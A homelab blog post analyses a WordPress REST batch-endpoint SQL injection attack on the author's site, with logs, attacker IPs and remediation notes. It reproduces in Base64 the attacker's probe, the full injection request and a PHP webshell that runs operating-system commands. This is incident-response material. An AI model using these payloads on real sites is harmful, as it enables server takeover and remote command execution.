Skip to content

Tales from the HomeLab

A Nuts and Bolts Exploration of the Cyber Landscape for System Administrators and Security Analysts

Menu
  • About Us
  • Security Onion
  • Apache
  • WordPress
  • pfSense
Menu

Well, it finally happened. I was hacked.

Posted on July 26, 2026

by Fred Theilig – @fmtheilig

My homelab consists of about a dozen VMs, plus a couple random devices. Unless I’m traveling, I run updates a couple times a week. This includes my WordPress website, which was upgraded to version 7.0. You might know where I’m going with this.

On Sunday night (July 19) I found three alerts on my SecurityOnion dashboard:
ET WEB_SERVER Possible SQL Injection UNION SELECT in HTTP Request Body
ET WEB_SERVER Possible SQL Injection SELECT CONCAT in HTTP Request Body
ET WEB_SERVER Possible SQL Injection INTO OUTFILE in HTTP Request Body

I grep’d the source IP from the Apache access.log and found two lines

62.210.127.48 – – [19/Jul/2026:14:21:44 -0400] “GET /?rest_route=/ HTTP/1.1” 200 153488 “-” “cve-2026-63030/1.0”
62.210.127.48 – – [19/Jul/2026:14:21:45 -0400] “POST /?rest_route=/batch/v1 HTTP/1.1” 207 659031 “-” “cve-2026-63030/1.0”

That’s not very helpful, but did they put the CVE number into the user agent field? Seems pretty ballsy. I was unfamiliar with HTTP status code 207, but I knew the 200 series indicated success. That didn’t give me the warm and fuzzies. 207 is defined as Multi-Status, which does not signal outright success, so maybe I was ok. Besides, the website looked fine. SecurityOnion has much more information than the Apache log, but because this WordPress site is barfing on the content, I am encoding the body of the exploit. Any Base64 decoder will work. I suggest CyberChef.

POST /?rest_route=/batch/v1 HTTP/1.1
Accept-Encoding: identity
Content-Length: 735
Host: www.REDACTED.com:8888
Content-Type: application/json
User-Agent: cve-2026-63030/1.0
Connection: close

eyJyZXF1ZXN0cyI6IFt7Im1ldGhvZCI6ICJQT1NUIiwgInBhdGgiOiAiLy8vIn0sIHsibWV0aG9kIjogIlBPU1QiLCAicGF0aCI6ICIvd3AvdjIvcG9zdHMiLCAiYm9keSI6IHsicmVxdWVzdHMiOiBbeyJtZXRob2QiOiAiUE9TVCIsICJwYXRoIjogIi8vLyJ9LCB7Im1ldGhvZCI6ICJHRVQiLCAicGF0aCI6ICIvd3AvdjIvcG9zdHMvOTk5OTk5P2F1dGhvcl9leGNsdWRlPTAlMjkrVU5JT04rU0VMRUNUKzk5OTk5OSUyQzIlMkMweDMyMzAzMjMwMmQzMDMxMmQzMDMxMjAzMDMwM2EzMDMwM2EzMDMwJTJDMHgzMjMwMzIzMDJkMzAzMTJkMzAzMTIwMzAzMDNhMzAzMDNhMzAzMCUyQzUlMkNDT05DQVQlMjgweDdjN2MlMkNIRVglMjhDQVNUJTI4JTI4U0VMRUNUKzB4NGY0YiUyOUFTK0NIQVIlMjklMjklMkMweDdjN2MlMjklMkM3JTJDMHg3MDc1NjI2YzY5NzM2OCUyQzklMkMxMCUyQzExJTJDMTIlMkMxMyUyQzE0JTJDMHgzMjMwMzIzMDJkMzAzMTJkMzAzMTIwMzAzMDNhMzAzMDNhMzAzMCUyQzB4MzIzMDMyMzAyZDMwMzEyZDMwMzEyMDMwMzAzYTMwMzAzYTMwMzAlMkMxNyUyQzE4JTJDMTklMkMyMCUyQzB4NzA2ZjczNzQlMkMyMiUyQzIzLS0rLSZvcmRlcmJ5PW5vbmUmcGVyX3BhZ2U9NTAwIn0sIHsibWV0aG9kIjogIkdFVCIsICJwYXRoIjogIi93cC92Mi9wb3N0cyJ9XX19LCB7Im1ldGhvZCI6ICJQT1NUIiwgInBhdGgiOiAiL2JhdGNoL3YxIiwgImJvZHkiOiB7InJlcXVlc3RzIjogW119fV19

There’s a whole lot of obfuscation here, but it looks like SQL injection. I’ve deobfuscated it to the best of my abilities (again, encoded):

eyJyZXF1ZXN0cyI6IFt7Im1ldGhvZCI6ICJQT1NUIiwgInBhdGgiOiAiLy8vIn0sIHsibWV0aG9kIjogIlBPU1QiLCAicGF0aCI6ICIvd3AvdjIvcG9zdHMiLCAiYm9keSI6IHsicmVxdWVzdHMiOiBbeyJtZXRob2QiOiAiUE9TVCIsICJwYXRoIjogIi8vLyJ9LCB7Im1ldGhvZCI6ICJHRVQiLCAicGF0aCI6ICIvd3AvdjIvcG9zdHMvOTk5OTk5P2F1dGhvcl9leGNsdWRlPTApIFVOSU9OIFNFTEVDVCA5OTk5OTksMiwyMDIwLTAxLTAxIDAwOjAwOjAwLDIwMjAtMDEtMDEgMDA6MDA6MDAsNSxDT05DQVQofHwsSEVYKENBU1QoKFNFTEVDVCBPSylBUyBDSEFSKSksfHwpLDcscHVibGlzaCw5LDEwLDExLDEyLDEzLDE0LDIwMjAtMDEtMDEgMDA6MDA6MDAsMjAyMC0wMS0wMSAwMDowMDowMCwxNywxOCwxOSwyMCxwb3N0LDIyLDIzLS0gLSZvcmRlcmJ5PW5vbmUmcGVyX3BhZ2U9NTAwIn0sIHsibWV0aG9kIjogIkdFVCIsICJwYXRoIjogIi93cC92Mi9wb3N0cyJ9XX19LCB7Im1ldGhvZCI6ICJQT1NUIiwgInBhdGgiOiAiL2JhdGNoL3YxIiwgImJvZHkiOiB7InJlcXVlc3RzIjogW119fV19

Still, a bit of an eye chart. I’m not fluent in SQL, so it’s no better for me.

Let’s look up the CVE:

WordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint route confusion issue which, combined with the author__not_in WP_Query SQL Injection (CVE-2026-60137), could allow an attacker to perform SQL Injection and achieve Remote Code Execution.

With haste, I upgraded WordPress from 7.0.0 to 7.0.2 to shut the barn door. NIST had yet to rate this vulnerability as it was first published two days prior (July 17), but I knew it would be high. According to CISA, this vulnerability is rated a 9.8. NIST still hasn’t rated it.

As I mentioned, the website looked fine. But I did notice a new user: wp2_529d86 (email address wp2_529d86@wp2shell.invalid) was added with the role of Administrator. Here was proof of compromise. I changed their role to ‘Subscriber’. Let’s see what else I can find out.

SecurityOnion had been recently upgraded and I was fumbling pretty bad with the new interface. Also, this was late Sunday night and I was tired. Anyhow, I identified the perp to be IP 62.210.127.48, apparently from “Paris, Île-de-France Paris Department, France (FR)”. I would later find seven more IP addresses from around the world. Some with the user agent set to wp2shell.

62.210.127.48 – Paris, France
125.164.233.50 – Madiun, East Java, Indonesia
116.212.131.65 – Phnom Penh, Cambodia
185.213.83.9 – Jakarta, Indonesia
222.112.15.140 – Seoul, South Korea
203.160.68.188 – Hong Kong
203.160.80.28 – Also Hong Kong
64.226.81.73 – Frankfurt, Germany

What I discovered is that the above traffic was just a test to see if my website was vulnerable. The actual attack was as follows:

eyJyZXF1ZXN0cyI6W3sibWV0aG9kIjoiUE9TVCIsInBhdGgiOiIvLy8ifSx7ImJvZHkiOnsicmVxdWVzdHMiOlt7Im1ldGhvZCI6IlBPU1QiLCJwYXRoIjoiLy8vIn0seyJtZXRob2QiOiJHRVQiLCJwYXRoIjoiL3dwL3YyL3Bvc3RzLzk5OTk5OT9hdXRob3JfZXhjbHVkZT0wJTI5K1VOSU9OK1NFTEVDVCslMjclM0MlM0ZwaHArZXJyb3JfcmVwb3J0aW5nJTI4MCUyOSUzQiU0MGluaV9zZXQlMjglNUMlMjdkaXNwbGF5X2Vycm9ycyU1QyUyNyUyQzAlMjklM0IlMjRrJTNEJTIyOTR1aDl1Ymg2ZTF4JTIyJTNCaWYlMjglMjFpc3NldCUyOCUyNF9SRVFVRVNUJTVCJTIycCUyMiU1RCUyOSU3QyU3QyUyNF9SRVFVRVNUJTVCJTIycCUyMiU1RCUyMSUzRCUzRCUyNGslMjklN0JodHRwX3Jlc3BvbnNlX2NvZGUlMjg0MDQlMjklM0JlY2hvJTIyJTNDJTIxRE9DVFlQRStodG1sJTNFJTNDaHRtbCUzRSUzQ2JvZHklM0UlM0NoMSUzRTQwNCtOb3QrRm91bmQlM0MlMkZoMSUzRSUzQyUyRmJvZHklM0UlM0MlMkZodG1sJTNFJTIyJTNCZXhpdCUzQiU3RCUyNGMlM0RudWxsJTNCaWYlMjhpc3NldCUyOCUyNF9SRVFVRVNUJTVCJTIyYiUyMiU1RCUyOSUyOSU3QiUyNGJkJTNEJTIyJTVDeDYyJTVDeDYxJTVDeDczJTVDeDY1JTVDeDM2JTVDeDM0JTVDeDVmJTVDeDY0JTVDeDY1JTVDeDYzJTVDeDZmJTVDeDY0JTVDeDY1JTIyJTNCJTI0YyUzRCUyNGJkJTI4JTI0X1JFUVVFU1QlNUIlMjJiJTIyJTVEJTI5JTNCJTdEZWxzZWlmJTI4aXNzZXQlMjglMjRfUkVRVUVTVCU1QiUyMmMlMjIlNUQlMjklMjklN0IlMjRjJTNEJTI0X1JFUVVFU1QlNUIlMjJjJTIyJTVEJTNCJTdEaWYlMjglMjRjJTIxJTNEJTNEbnVsbCUyOSU3QiUyNG8lM0QlMjIlMjIlM0IlMjRmJTNEJTIyJTVDeDczJTVDeDc5JTVDeDczJTVDeDc0JTVDeDY1JTVDeDZkJTIyJTNCaWYlMjhmdW5jdGlvbl9leGlzdHMlMjglMjRmJTI5JTI5JTdCb2Jfc3RhcnQlMjglMjklM0IlNDAlMjRmJTI4JTI0YyUyOSUzQiUyNG8lM0RvYl9nZXRfY2xlYW4lMjglMjklM0IlN0RlbHNlJTdCJTI0ZiUzRCUyMiU1Q3g3MCU1Q3g2MSU1Q3g3MyU1Q3g3MyU1Q3g3NCU1Q3g2OCU1Q3g3MiU1Q3g3NSUyMiUzQmlmJTI4ZnVuY3Rpb25fZXhpc3RzJTI4JTI0ZiUyOSUyOSU3Qm9iX3N0YXJ0JTI4JTI5JTNCJTQwJTI0ZiUyOCUyNGMlMjklM0IlMjRvJTNEb2JfZ2V0X2NsZWFuJTI4JTI5JTNCJTdEZWxzZSU3QiUyNGYlM0QlMjIlNUN4NjUlNUN4NzglNUN4NjUlNUN4NjMlMjIlM0JpZiUyOGZ1bmN0aW9uX2V4aXN0cyUyOCUyNGYlMjklMjklN0IlNDAlMjRmJTI4JTI0YyUyQyUyNGElMjklM0IlMjRvJTNEaW1wbG9kZSUyOCUyMiU1Q24lMjIlMkMlMjRhJTI5JTNCJTdEZWxzZSU3QiUyNGYlM0QlMjIlNUN4NzMlNUN4NjglNUN4NjUlNUN4NmMlNUN4NmMlNUN4NWYlNUN4NjUlNUN4NzglNUN4NjUlNUN4NjMlMjIlM0JpZiUyOGZ1bmN0aW9uX2V4aXN0cyUyOCUyNGYlMjklMjklN0IlMjRvJTNEJTQwJTI0ZiUyOCUyNGMlMjklM0IlN0RlbHNlJTdCJTI0ZiUzRCUyMiU1Q3g3MCU1Q3g2ZiU1Q3g3MCU1Q3g2NSU1Q3g2ZSUyMiUzQmlmJTI4ZnVuY3Rpb25fZXhpc3RzJTI4JTI0ZiUyOSUyOSU3QiUyNHAlM0QlNDAlMjRmJTI4JTI0YyUyQyUyMnIlMjIlMjklM0JpZiUyOCUyNHAlMjklN0IlMjRvJTNEc3RyZWFtX2dldF9jb250ZW50cyUyOCUyNHAlMjklM0JwY2xvc2UlMjglMjRwJTI5JTNCJTdEJTdEZWxzZSU3QiUyNG8lM0QlNjAlMjRjJTYwJTNCJTdEJTdEJTdEJTdEJTdEZWNobyUyMiU1QlMlNUQlMjIuJTI0by4lMjIlNUJFJTVEJTIyJTNCJTdEZWxzZSU3QmVjaG8lMjIlNUJTJTVET0slNUJFJTVEJTIyJTNCJTdEKyUzRiUzRSUyNytJTlRPK09VVEZJTEUrJTI3JTJGdmFyJTJGd3d3JTJGd3AtY29udGVudCUyRmNhY2hlJTJGOTR1aDl1Ymg2ZTF4LnBocCUyNy0tKy0ifSx7Im1ldGhvZCI6IkdFVCIsInBhdGgiOiIvd3AvdjIvcG9zdHMifV19LCJtZXRob2QiOiJQT1NUIiwicGF0aCI6Ii93cC92Mi9wb3N0cyJ9LHsiYm9keSI6eyJyZXF1ZXN0cyI6W119LCJtZXRob2QiOiJQT1NUIiwicGF0aCI6Ii9iYXRjaC92MSJ9XX0=

That traffic was sent from 125.164.233.50. I manually deobfuscated it as:

eyJyZXF1ZXN0cyI6W3sibWV0aG9kIjoiUE9TVCIsInBhdGgiOiIvLy8ifSx7ImJvZHkiOnsicmVxdWVzdHMiOlt7Im1ldGhvZCI6IlBPU1QiLCJwYXRoIjoiLy8vIn0seyJtZXRob2QiOiJHRVQiLCJwYXRoIjoiL3dwL3YyL3Bvc3RzLzk5OTk5OT9hdXRob3JfZXhjbHVkZT0wKSBVTklPTiBTRUxFQ1QgJzw/cGhwIGVycm9yX3JlcG9ydGluZygwKTtAaW5pX3NldChcJ2Rpc3BsYXlfZXJyb3JzXCcsMCk7JGs9Ijk0dWg5dWJoNmUxeCI7aWYoIWlzc2V0KCRfUkVRVUVTVFsicCJdKXx8JF9SRVFVRVNUWyJwIl0hPT0kayl7aHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7ZWNobyI8IURPQ1RZUEUgaHRtbD48aHRtbD48Ym9keT48aDE+NDA0IE5vdCBGb3VuZDwvaDE+PC9ib2R5PjwvaHRtbD4iO2V4aXQ7fSRjPW51bGw7aWYoaXNzZXQoJF9SRVFVRVNUWyJiIl0pKXskYmQ9ImJhc2U2NF9kZWNvZGUiOyRjPSRiZCgkX1JFUVVFU1RbImIiXSk7fWVsc2VpZihpc3NldCgkX1JFUVVFU1RbImMiXSkpeyRjPSRfUkVRVUVTVFsiYyJdO31pZigkYyE9PW51bGwpeyRvPSIiOyRmPSJzeXN0ZW0iO2lmKGZ1bmN0aW9uX2V4aXN0cygkZikpe29iX3N0YXJ0KCk7QCRmKCRjKTskbz1vYl9nZXRfY2xlYW4oKTt9ZWxzZXskZj0icGFzc3RocnUiO2lmKGZ1bmN0aW9uX2V4aXN0cygkZikpe29iX3N0YXJ0KCk7QCRmKCRjKTskbz1vYl9nZXRfY2xlYW4oKTt9ZWxzZXskZj0iZXhlYyI7aWYoZnVuY3Rpb25fZXhpc3RzKCRmKSl7QCRmKCRjLCRhKTskbz1pbXBsb2RlKCJcbiIsJGEpO31lbHNleyRmPSJzaGVsbF9leGVjIjtpZihmdW5jdGlvbl9leGlzdHMoJGYpKXskbz1AJGYoJGMpO31lbHNleyRmPSJwb3BlbiI7aWYoZnVuY3Rpb25fZXhpc3RzKCRmKSl7JHA9QCRmKCRjLCJyIik7aWYoJHApeyRvPXN0cmVhbV9nZXRfY29udGVudHMoJHApO3BjbG9zZSgkcCk7fX1lbHNleyRvPWAkY2A7fX19fX1lY2hvIltTXSIuJG8uIltFXSI7fWVsc2V7ZWNobyJbU11PS1tFXSI7fSA/PicgSU5UTyBPVVRGSUxFICcvdmFyL3d3dy93cC1jb250ZW50L2NhY2hlLzk0dWg5dWJoNmUxeC5waHAnLS0gLSJ9LHsibWV0aG9kIjoiR0VUIiwicGF0aCI6Ii93cC92Mi9wb3N0cyJ9XX0sIm1ldGhvZCI6IlBPU1QiLCJwYXRoIjoiL3dwL3YyL3Bvc3RzIn0seyJib2R5Ijp7InJlcXVlc3RzIjpbXX0sIm1ldGhvZCI6IlBPU1QiLCJwYXRoIjoiL2JhdGNoL3YxIn1dfQ==

There has got to be an automated tool to do this for me. Anyhow, I extracted and prettied up the php code for clarity:

QGluaV9zZXQoXCdkaXNwbGF5X2Vycm9yc1wnLDApOwokayA9ICI5NHVoOXViaDZlMXgiOwppZiAoIWlzc2V0KCRfUkVRVUVTVFsicCJdKSB8fCAkX1JFUVVFU1RbInAiXSAhPT0gJGspCnsKICAgaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7CiAgIGVjaG8gIjwhRE9DVFlQRSBodG1sPjxodG1sPjxib2R5PjxoMT40MDQgTm90IEZvdW5kPC9oMT48L2JvZHk+PC9odG1sPiI7CiAgIGV4aXQ7Cn0KJGMgPSBudWxsOwppZiAoaXNzZXQoJF9SRVFVRVNUWyJiIl0pKQp7CiAgICRiZCA9ICJiYXNlNjRfZGVjb2RlIjsKICAgJGMgPSAkYmQoJF9SRVFVRVNUWyJiIl0pOwp9CmVsc2VpZiAoaXNzZXQoJF9SRVFVRVNUWyJjIl0pKTsKewogICAkYyA9ICRfUkVRVUVTVFsiYyJdOwp9CgppZiAoJGMgIT09IG51bGwpCnsKICAgJG8gPSAiIjsKICAgJGYgPSAic3lzdGVtIjsKICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkZikpCiAgIHsKICAgICAgb2Jfc3RhcnQoKTsKICAgICAgQCRmKCRjKTsKICAgICAgJG8gPSBvYl9nZXRfY2xlYW4oKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgJGYgPSAicGFzc3RocnUiOwogICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRmKSkKICAgICAgewogICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICBAJGYoJGMpOwogICAgICAgICAkbyA9IG9iX2dldF9jbGVhbigpOwogICAgICB9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgICAkZiA9ICJleGVjIjsKICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkZikpOwogICAgICAgICB7CiAgICAgICAgICAgIEAkZigkYywkYSk7CiAgICAgICAgICAgICRvID0gaW1wbG9kZSgiXG4iLCRhKTsKICAgICAgICAgfQogICAgICAgICBlbHNlCiAgICAgICAgIHsKICAgICAgICAgICAgJGYgPSAic2hlbGxfZXhlYyI7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJGYpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICRvID0gQCRmKCRjKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgJGYgPSAicG9wZW4iOwogICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRmKSkKICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAkcCA9IEAkZigkYywiciIpOwogICAgICAgICAgICAgICAgICBpZiAoJHApCiAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgJG8gPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwKTsKICAgICAgICAgICAgICAgICAgICAgcGNsb3NlKCRwKTsKICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICRvID0gYCRjYDsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICB9CiAgIGVjaG8gIltTXSIuJG8uIltFXSI7Cn0KZWxzZQp7CiAgIGVjaG8gIltTXU9LW0VdIjsKfQ==

No wisecracks on my tabbing style! I don’t know PHP enough to follow its logic, but I see it trying various system calls until it can find one to execute a reverse shell. I don’t understand the $_REQUEST[] variable or where $a gets its initial value.

This attack tries to leave behind a webshell, but the path ‘/var/www/wp-content/cache/’ does not exist on my server. “find /var/www -name 94uh9ubh6e1x.php” and a full clamscan came back empty. I changed my crontab to have clamscan run more frequently. I’ve monitored for a couple days and nothing seems out of whack. No new users or posts, no suspicious alerts. I am still getting the original test traffic, but I haven’t seen the exploit traffic since I upgraded.

Because this vulnerability and exploit was breaking news, early on I handed the data over on Monday to someone smarter than me: Johannes Ullrich from the SANS Institute. Some of my insights came directly from him. You can read his write-up here:

https://isc.sans.edu/diary/rss/33168

©2026 Tales from the HomeLab | Design: Newspaperly WordPress Theme